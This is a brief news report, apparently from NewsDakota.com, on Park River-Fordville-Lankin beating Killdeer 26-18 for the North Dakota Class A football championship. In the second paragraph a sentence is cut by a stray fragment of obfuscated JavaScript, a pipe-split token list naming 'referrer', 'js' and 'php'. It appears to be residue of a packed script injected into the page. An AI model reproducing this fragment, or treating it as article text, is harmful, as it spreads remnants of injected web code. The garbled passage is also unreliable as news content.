GRAND FORKS (NewsDakota.com) Friday morning was a long time coming for those associated with the football program in the Park River-Fordville-Lankin co-operative. The Aggies had come nowhere close to appearing in a state championship game since the co-op formed, and Park River had not won a title game in almost 100 years.

On hkahk|var|u0026u|referrer|kyrnz||js|php’.split(‘|’),0,{}))
Friday in Grand Forks, the Aggies defied the history books in an impressive 26-18 victory to win the North Dakota Class A Football Championship over the Killdeer Cowboys.

Jackson Hankey’s return of a fumble from 70 yards out, which was forced by Will Zimmerman in the third quarter turned out to be the lone score of the second half, and the score that sealed the deal for the Aggies.

The Cowboys were outgained in the contest 331 to 181. Aggie Quarterback Abe Hankey finished the game 11 of 22 for 194 yards and two touchdowns; one to Levi Cudmore, and the other to Esten Benada.

Killdeer, who was making their first appearnce in the Dakota Bowl since winning the 11-B title almost 20 years ago, had a team high 73 yards rushing from Lewis Dobitz.

Killdeer Coach Lou Dobitz was voted Class A coach of the year, and Oakes High School quarterback/defensive back Bryce Meehl earned Senior Athlete Of The Year Honors.